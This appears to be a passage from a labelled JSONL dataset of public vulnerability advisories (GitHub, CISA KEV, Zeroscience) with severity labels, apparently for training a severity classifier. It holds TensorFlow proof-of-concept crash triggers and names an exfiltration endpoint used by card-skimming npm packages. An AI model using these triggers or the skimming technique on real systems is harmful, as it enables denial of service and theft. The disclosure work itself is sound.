-{"id": "e61c8d758477bfdf1dc8", "text": "Cross-Site Scripting in dojo\n\nAffected versions of `dojo` are susceptible to a cross-site scripting vulnerability in the `dijit.Editor` and `textarea` components, which execute their contents as Javascript, even when sanitized.\n\n## Recommendation\n\nUpdate to version 1.1.0 or later.", "text_raw": "Cross-Site Scripting in dojo\n\n[Severity: MEDIUM]\n\nAffected versions of `dojo` are susceptible to a cross-site scripting vulnerability in the `dijit.Editor` and `textarea` components, which execute their contents as Javascript, even when sanitized.\n\n\n## Recommendation\n\nUpdate to version 1.1.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "396c121c05b9ab85ee76", "text": "Potential Command Injection in printer\n\nVersions 0.0.1 and earlier of `printer` are affected by a command injection vulnerability resulting from a failure to sanitize command arguments properly in the `printDirect()` function.\n\n## Recommendation\n\nUpdate to version 0.0.2 or later.", "text_raw": "Potential Command Injection in printer\n\n[Severity: CRITICAL]\n\nVersions 0.0.1 and earlier of `printer` are affected by a command injection vulnerability resulting from a failure to sanitize command arguments properly in the `printDirect()` function. \n\n\n\n## Recommendation\n\nUpdate to version 0.0.2 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-11-28", "split": "train"}
-{"id": "4671c75f2944695eda2a", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Spark via crafted URL\n\nIn Apache Spark 2.1.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, it's possible  for a malicious user to construct a URL pointing to a Spark cluster's UI's  job and stage info pages, and if a user can be tricked into accessing  the URL, can be used to cause script to execute and expose information  from the user's view of the Spark UI. While some browsers like recent  versions of Chrome and Safari are able to block this type of attack,  current versions of Firefox (and possibly others) do not.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Spark via crafted URL\n\n[Severity: MEDIUM]\n\nIn Apache Spark 2.1.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, it's possible  for a malicious user to construct a URL pointing to a Spark cluster's UI's  job and stage info pages, and if a user can be tricked into accessing  the URL, can be used to cause script to execute and expose information  from the user's view of the Spark UI. While some browsers like recent  versions of Chrome and Safari are able to block this type of attack,  current versions of Firefox (and possibly others) do not.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "15a63cda9963250da95c", "text": "bootstrap Cross-site Scripting vulnerability\n\nIn Bootstrap before 3.4.0, XSS is possible in the affix configuration target property.", "text_raw": "bootstrap Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nIn Bootstrap before 3.4.0, XSS is possible in the affix configuration target property.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-17", "split": "train"}
-{"id": "e3948a675fbae14599e8", "text": "Hero Framework 3.69 Remote Reflected Cross-Site Scripting Vulnerability", "text_raw": "Hero Framework 3.69 Remote Reflected Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-12-01", "split": "train"}
-{"id": "80889e8ac9976f3a995a", "text": "Remote Code Execution in esigate-core\n\nesigate.org esigate version 5.2 and earlier contains a CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in ESI directive with user specified XSLT that can result in Remote Code Execution. This attack appear to be exploitable via Use of another weakness in backend application to reflect ESI directives. This vulnerability appears to have been fixed in 5.3.", "text_raw": "Remote Code Execution in esigate-core\n\n[Severity: CRITICAL]\n\nesigate.org esigate version 5.2 and earlier contains a CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in ESI directive with user specified XSLT that can result in Remote Code Execution. This attack appear to be exploitable via Use of another weakness in backend application to reflect ESI directives. This vulnerability appears to have been fixed in 5.3.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "64f0ec9888c7d1e7285d", "text": "livehelperchat is vulnerable to Cross-Site Request Forgery (CSRF)\n\nlivehelperchat is vulnerable to Cross-Site Request Forgery (CSRF).", "text_raw": "livehelperchat is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: MEDIUM]\n\nlivehelperchat is vulnerable to Cross-Site Request Forgery (CSRF).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "9100fd932b2c0786e909", "text": "Google Chromium V8 Incorrect Implementation Vulnerabililty\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains an inappropriate implementation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium V8 Incorrect Implementation Vulnerabililty\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains an inappropriate implementation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "490f01f4329dfb75996c", "text": "Missing validation during checkpoint loading\n\n### Impact\nAn attacker can trigger undefined behavior, integer overflows, segfaults and `CHECK`-fail crashes if they can change saved checkpoints from outside of TensorFlow.\n\nThis is because the checkpoints loading infrastructure is missing validation for invalid file formats.\n\n### Patches\nWe have patched the issue in GitHub commits [b619c6f865715ca3b15ef1842b5b95edbaa710ad](https://github.com/tensorflow/tensorflow/commit/b619c6f865715ca3b15ef1842b5b95edbaa710ad), [e8dc63704c88007ee4713076605c90188d66f3d2](https://github.com/tensorflow/tensorflow/commit/e8dc63704c88007ee4713076605c90188d66f3d2), [368af875869a204b4ac552b9ddda59f6a46a56ec](https://github.com/tensorflow/tensorflow/commit/368af875869a204b4ac552b9ddda59f6a46a56ec), and [abcced051cb1bd8fb05046ac3b6023a7ebcc4578](https://github.com/tensorflow/tensorflow/commit/abcced051cb1bd8fb05046ac3b6023a7ebcc4578).\n\nThese fixes will be included in TensorFlow 2.7.0. We will also cherrypick these commits on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Missing validation during checkpoint loading\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can trigger undefined behavior, integer overflows, segfaults and `CHECK`-fail crashes if they can change saved checkpoints from outside of TensorFlow.\n\nThis is because the checkpoints loading infrastructure is missing validation for invalid file formats.\n\n### Patches\nWe have patched the issue in GitHub commits [b619c6f865715ca3b15ef1842b5b95edbaa710ad](https://github.com/tensorflow/tensorflow/commit/b619c6f865715ca3b15ef1842b5b95edbaa710ad), [e8dc63704c88007ee4713076605c90188d66f3d2](https://github.com/tensorflow/tensorflow/commit/e8dc63704c88007ee4713076605c90188d66f3d2), [368af875869a204b4ac552b9ddda59f6a46a56ec](https://github.com/tensorflow/tensorflow/commit/368af875869a204b4ac552b9ddda59f6a46a56ec), and [abcced051cb1bd8fb05046ac3b6023a7ebcc4578](https://github.com/tensorflow/tensorflow/commit/abcced051cb1bd8fb05046ac3b6023a7ebcc4578).\n\nThese fixes will be included in TensorFlow 2.7.0. We will also cherrypick these commits on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "ae8c778998d11962100f", "text": "A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0611.", "text_raw": "High severity vulnerability that affects Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0611.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "9f91dfbb4092e9882ed5", "text": "Wowza Streaming Engine 4.5.0 CSRF Add Advanced Admin Exploit", "text_raw": "Wowza Streaming Engine 4.5.0 CSRF Add Advanced Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-07-19", "split": "train"}
-{"id": "c7c8e35db08796ceda4a", "text": "Malicious Package in awesome_react_utility\n\nVersion 1.0.2 of `awesome_react_utility` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.2 of this module is found installed you will want to replace it with a version before or after 1.0.2. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in awesome_react_utility\n\n[Severity: CRITICAL]\n\nVersion 1.0.2 of `awesome_react_utility` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n## Recommendation\n\nIf version 1.0.2 of this module is found installed you will want to replace it with a version before or after 1.0.2. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "64f078498484d4b71082", "text": "`SparseFillEmptyRows` heap OOB\n\n### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L194-L241) of `SparseFillEmptyRows` can be made to trigger a heap OOB access:\n\n```python\nimport tensorflow as tf\n\ndata=tf.raw_ops.SparseFillEmptyRows(\n  indices=[[0,0],[0,0],[0,0]],\n  values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],\n  dense_shape=[5,3],\n  default_value='o')\n```\n\nThis occurs whenever the size of `indices` does not match the size of `values`.\n\n### Patches\nWe have patched the issue in GitHub commit [67bfd9feeecfb3c61d80f0e46d89c170fbee682b](https://github.com/tensorflow/tensorflow/commit/67bfd9feeecfb3c61d80f0e46d89c170fbee682b).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "`SparseFillEmptyRows` heap OOB\n\n[Severity: MEDIUM]\n\n### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L194-L241) of `SparseFillEmptyRows` can be made to trigger a heap OOB access:\n\n```python\nimport tensorflow as tf\n  \ndata=tf.raw_ops.SparseFillEmptyRows(\n  indices=[[0,0],[0,0],[0,0]],\n  values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],\n  dense_shape=[5,3],\n  default_value='o')\n```\n  \nThis occurs whenever the size of `indices` does not match the size of `values`.\n\n### Patches\nWe have patched the issue in GitHub commit [67bfd9feeecfb3c61d80f0e46d89c170fbee682b](https://github.com/tensorflow/tensorflow/commit/67bfd9feeecfb3c61d80f0e46d89c170fbee682b).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "86956bdaa3df83c5defb", "text": "Path Traversal in Action View\n\n# File Content Disclosure in Action View\n\nImpact \n------ \nThere is a possible file content disclosure vulnerability in Action View.  Specially crafted accept headers in combination with calls to `render file:`  can cause arbitrary files on the target server to be rendered, disclosing the  file contents.\n\nThe impact is limited to calls to `render` which render file contents without  a specified accept format.  Impacted code in a controller looks something like this:\n\n``` ruby\nclass UserController < ApplicationController \n  def index \n    render file: \"#{Rails.root}/some/file\" \n  end \nend \n```\n\nRendering templates as opposed to files is not impacted by this vulnerability.\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases \n-------- \nThe 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, and 4.2.11.1 releases are available at the normal locations.\n\nWorkarounds \n----------- \nThis vulnerability can be mitigated by specifying a format for file rendering, like this:\n\n``` ruby\nclass UserController < ApplicationController \n  def index \n    render file: \"#{Rails.root}/some/file\", formats: [:html] \n  end \nend \n```\n\nIn summary, impacted calls to `render` look like this:\n\n``` \nrender file: \"#{Rails.root}/some/file\" \n```\n\nThe vulnerability can be mitigated by changing to this:\n\n``` \nrender file: \"#{Rails.root}/some/file\", formats: [:html] \n```\n\nOther calls to `render` are not impacted.\n\nAlternatively, the following monkey patch can be applied in an initializer:\n\n``` ruby\n$ cat config/initializers/formats_filter.rb \n# frozen_string_literal: true\n\nActionDispatch::Request.prepend(Module.new do \n  def formats \n    super().select do |format| \n      format.symbol || format.ref == \"*/*\" \n    end \n  end \nend) \n```\n\nCredits \n------- \nThanks to John Hawthorn <john@hawthorn.email> of GitHub", "text_raw": "Path Traversal in Action View\n\n[Severity: HIGH]\n\n# File Content Disclosure in Action View\n\nImpact \n------ \nThere is a possible file content disclosure vulnerability in Action View.  Specially crafted accept headers in combination with calls to `render file:`  can cause arbitrary files on the target server to be rendered, disclosing the  file contents. \n\nThe impact is limited to calls to `render` which render file contents without  a specified accept format.  Impacted code in a controller looks something like this: \n\n``` ruby\nclass UserController < ApplicationController \n  def index \n    render file: \"#{Rails.root}/some/file\" \n  end \nend \n``` \n\nRendering templates as opposed to files is not impacted by this vulnerability. \n\nAll users running an affected release should either upgrade or use one of the workarounds immediately. \n\nReleases \n-------- \nThe 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, and 4.2.11.1 releases are available at the normal locations. \n\nWorkarounds \n----------- \nThis vulnerability can be mitigated by specifying a format for file rendering, like this: \n\n``` ruby\nclass UserController < ApplicationController \n  def index \n    render file: \"#{Rails.root}/some/file\", formats: [:html] \n  end \nend \n``` \n\nIn summary, impacted calls to `render` look like this: \n\n``` \nrender file: \"#{Rails.root}/some/file\" \n``` \n\nThe vulnerability can be mitigated by changing to this: \n\n``` \nrender file: \"#{Rails.root}/some/file\", formats: [:html] \n``` \n\nOther calls to `render` are not impacted. \n\nAlternatively, the following monkey patch can be applied in an initializer: \n\n``` ruby\n$ cat config/initializers/formats_filter.rb \n# frozen_string_literal: true \n\nActionDispatch::Request.prepend(Module.new do \n  def formats \n    super().select do |format| \n      format.symbol || format.ref == \"*/*\" \n    end \n  end \nend) \n``` \n\nCredits \n------- \nThanks to John Hawthorn <john@hawthorn.email> of GitHub", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-13", "split": "train"}
-{"id": "90236ab97ce328ad9ef0", "text": "Heap buffer overflow in `BandedTriangularSolve`\n\n### Impact\nAn attacker can trigger a heap buffer overflow in Eigen implementation of `tf.raw_ops.BandedTriangularSolve`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nmatrix_array = np.array([])\nmatrix_tensor = tf.convert_to_tensor(np.reshape(matrix_array,(0,1)),dtype=tf.float32)\nrhs_array = np.array([1,1])\nrhs_tensor = tf.convert_to_tensor(np.reshape(rhs_array,(1,2)),dtype=tf.float32)\ntf.raw_ops.BandedTriangularSolve(matrix=matrix_tensor,rhs=rhs_tensor)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/eccb7ec454e6617738554a255d77f08e60ee0808/tensorflow/core/kernels/linalg/banded_triangular_solve_op.cc#L269-L278) calls `ValidateInputTensors` for input validation but fails to validate that the two tensors are not empty:\n\n```cc\nvoid ValidateInputTensors(OpKernelContext* ctx, const Tensor& in0, const Tensor& in1) {\n  OP_REQUIRES(\n      ctx, in0.dims() >= 2, \n      errors::InvalidArgument(\"In[0] ndims must be >= 2: \", in0.dims()));\n\nOP_REQUIRES(\n      ctx, in1.dims() >= 2,\n      errors::InvalidArgument(\"In[1] ndims must be >= 2: \", in1.dims()));\n}\n```\n\nFurthermore, since `OP_REQUIRES` macro only stops execution of current function after setting `ctx->status()` to a non-OK value, callers of helper functions that use `OP_REQUIRES` must check value of `ctx->status()` before continuing. This doesn't happen [in this op's implementation](https://github.com/tensorflow/tensorflow/blob/eccb7ec454e6617738554a255d77f08e60ee0808/tensorflow/core/kernels/linalg/banded_triangular_solve_op.cc#L219), hence the validation that is present is also not effective.\n\n### Patches\nWe have patched the issue in GitHub commit [ba6822bd7b7324ba201a28b2f278c29a98edbef2](https://github.com/tensorflow/tensorflow/commit/ba6822bd7b7324ba201a28b2f278c29a98edbef2) followed by GitHub commit [0ab290774f91a23bebe30a358fde4e53ab4876a0](https://github.com/tensorflow/tensorflow/commit/0ab290774f91a23bebe30a358fde4e53ab4876a0).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `BandedTriangularSolve`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a heap buffer overflow in Eigen implementation of `tf.raw_ops.BandedTriangularSolve`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n  \nmatrix_array = np.array([])\nmatrix_tensor = tf.convert_to_tensor(np.reshape(matrix_array,(0,1)),dtype=tf.float32)\nrhs_array = np.array([1,1])\nrhs_tensor = tf.convert_to_tensor(np.reshape(rhs_array,(1,2)),dtype=tf.float32)\ntf.raw_ops.BandedTriangularSolve(matrix=matrix_tensor,rhs=rhs_tensor)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/eccb7ec454e6617738554a255d77f08e60ee0808/tensorflow/core/kernels/linalg/banded_triangular_solve_op.cc#L269-L278) calls `ValidateInputTensors` for input validation but fails to validate that the two tensors are not empty:\n  \n```cc\nvoid ValidateInputTensors(OpKernelContext* ctx, const Tensor& in0, const Tensor& in1) {\n  OP_REQUIRES(\n      ctx, in0.dims() >= 2, \n      errors::InvalidArgument(\"In[0] ndims must be >= 2: \", in0.dims()));\n\n  OP_REQUIRES(\n      ctx, in1.dims() >= 2,\n      errors::InvalidArgument(\"In[1] ndims must be >= 2: \", in1.dims()));\n}\n``` \n\nFurthermore, since `OP_REQUIRES` macro only stops execution of current function after setting `ctx->status()` to a non-OK value, callers of helper functions that use `OP_REQUIRES` must check value of `ctx->status()` before continuing. This doesn't happen [in this op's implementation](https://github.com/tensorflow/tensorflow/blob/eccb7ec454e6617738554a255d77f08e60ee0808/tensorflow/core/kernels/linalg/banded_triangular_solve_op.cc#L219), hence the validation that is present is also not effective.\n\n### Patches\nWe have patched the issue in GitHub commit [ba6822bd7b7324ba201a28b2f278c29a98edbef2](https://github.com/tensorflow/tensorflow/commit/ba6822bd7b7324ba201a28b2f278c29a98edbef2) followed by GitHub commit [0ab290774f91a23bebe30a358fde4e53ab4876a0](https://github.com/tensorflow/tensorflow/commit/0ab290774f91a23bebe30a358fde4e53ab4876a0).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "647c3a8046643c7a7460", "text": "Microsoft Netlogon Privilege Escalation Vulnerability\n\nAffected: Microsoft Netlogon\n\nMicrosoft's Netlogon Remote Protocol (MS-NRPC) contains a privilege escalation vulnerability when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller. An attacker who successfully exploits the vulnerability could run a specially crafted application on a device on the network. The vulnerability is also known under the moniker of Zerologon.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-330\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Netlogon Privilege Escalation Vulnerability\n\nAffected: Microsoft Netlogon\n\nMicrosoft's Netlogon Remote Protocol (MS-NRPC) contains a privilege escalation vulnerability when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller. An attacker who successfully exploits the vulnerability could run a specially crafted application on a device on the network. The vulnerability is also known under the moniker of Zerologon.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-330\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6207130b6bc6fe60614e", "text": "Arbitrary Code Execution in grunt\n\nThe package grunt before 1.3.0 are vulnerable to Arbitrary Code Execution due to the default usage of the function load() instead of its secure replacement safeLoad() of the package js-yaml inside grunt.file.readYAML.", "text_raw": "Arbitrary Code Execution in grunt\n\n[Severity: HIGH]\n\nThe package grunt before 1.3.0 are vulnerable to Arbitrary Code Execution due to the default usage of the function load() instead of its secure replacement safeLoad() of the package js-yaml inside grunt.file.readYAML.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "d44075a8cfb5650027cc", "text": "Downloads Resources over HTTP in selenium-portal\n\nAffected versions of `selenium-portal` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-portal`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in selenium-portal\n\n[Severity: HIGH]\n\nAffected versions of `selenium-portal` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-portal`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "62e006a124269d88bde8", "text": "SQLAlchemy is vulnerable to SQL Injection via group_by parameter\n\nSQLAlchemy 1.2.17 has SQL Injection when the group_by parameter can be controlled.", "text_raw": "SQLAlchemy is vulnerable to SQL Injection via group_by parameter \n\n[Severity: CRITICAL]\n\nSQLAlchemy 1.2.17 has SQL Injection when the group_by parameter can be controlled.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-04-16", "split": "train"}
-{"id": "94226b7d957fef2f8460", "text": "NanoHTTPD Cross-site Scripting vulnerability\n\nAn issue was discovered in RouterNanoHTTPD.java in NanoHTTPD through 2.3.1. The GeneralHandler class implements a basic GET handler that prints debug information as an HTML page. Any web server that extends this class without implementing its own GET handler is vulnerable to reflected XSS, because the GeneralHandler GET handler prints user input passed through the query string without any sanitization.", "text_raw": "NanoHTTPD Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nAn issue was discovered in RouterNanoHTTPD.java in NanoHTTPD through 2.3.1. The GeneralHandler class implements a basic GET handler that prints debug information as an HTML page. Any web server that extends this class without implementing its own GET handler is vulnerable to reflected XSS, because the GeneralHandler GET handler prints user input passed through the query string without any sanitization.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-25", "split": "train"}
-{"id": "a89d2bd102238b292d82", "text": "Netflix/Priam: Temporary Directory Information Disclosure\n\n### Impact\n\nWhen `File.createTempFile` creates a file, the permissions on that file are -rw-r--r--. This means that other users can read the contents of these files after they are written, although they can not modify the contents. This allows for local information disclosure if these files contain sensitive information.\n\nVulnerable locations:\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/backup/MetaData.java#L106-L111\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/identity/DoubleRing.java#L109-L118\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/restore/PostRestoreHook.java#L80-L86\n\n---\n\nThe custom CodeQL queries leveraged to find these this as well as their results can be found here:\n\nhttps://lgtm.com/query/1543383251073929777/\nhttps://lgtm.com/query/3142895023158674709/\n\n## Official Disclosure\n\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2021-002.md\n\n## Fix\n\nThere are no fixed versions.", "text_raw": "Netflix/Priam: Temporary Directory Information Disclosure\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen `File.createTempFile` creates a file, the permissions on that file are -rw-r--r--. This means that other users can read the contents of these files after they are written, although they can not modify the contents. This allows for local information disclosure if these files contain sensitive information.\n\nVulnerable locations:\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/backup/MetaData.java#L106-L111\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/identity/DoubleRing.java#L109-L118\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/restore/PostRestoreHook.java#L80-L86\n\n---\n\nThe custom CodeQL queries leveraged to find these this as well as their results can be found here:\n\nhttps://lgtm.com/query/1543383251073929777/\nhttps://lgtm.com/query/3142895023158674709/\n\n## Official Disclosure\n\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2021-002.md\n\n## Fix\n\nThere are no fixed versions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-30", "split": "train"}
-{"id": "9fe396459305273f1803", "text": "Malicious Package in react-server-native\n\nVersion 0.0.7 of `react-server-native` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.0.7 of this module is found installed you will want to replace it with a version before or after 0.0.7. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.0.6", "text_raw": "Malicious Package in react-server-native\n\n[Severity: CRITICAL]\n\nVersion 0.0.7 of `react-server-native` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.0.7 of this module is found installed you will want to replace it with a version before or after 0.0.7. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.0.6", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3af3297e4cfaee67f2b7", "text": "There is a XML external entity expansion (XXE) vulnerability in Apache Solr  config files\n\nThis vulnerability in Apache Solr 6.0.0 to 6.6.3, 7.0.0 to 7.3.0 relates to an XML external entity expansion (XXE) in Solr config files (solrconfig.xml, schema.xml, managed-schema). In addition, Xinclude functionality provided in these config files is also affected in a similar way. The vulnerability can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network. Users are advised to upgrade to either Solr 6.6.4 or Solr 7.3.1 releases both of which address the vulnerability. Once upgrade is complete, no other steps are required. Those releases only allow external entities and Xincludes that refer to local files / zookeeper resources below the Solr instance directory (using Solr's ResourceLoader); usage of absolute URLs is denied. Keep in mind, that external entities and XInclude are explicitly supported to better structure config files in large installations. Before Solr 6 this was no problem, as config files were not accessible through the APIs.", "text_raw": "There is a XML external entity expansion (XXE) vulnerability in Apache Solr  config 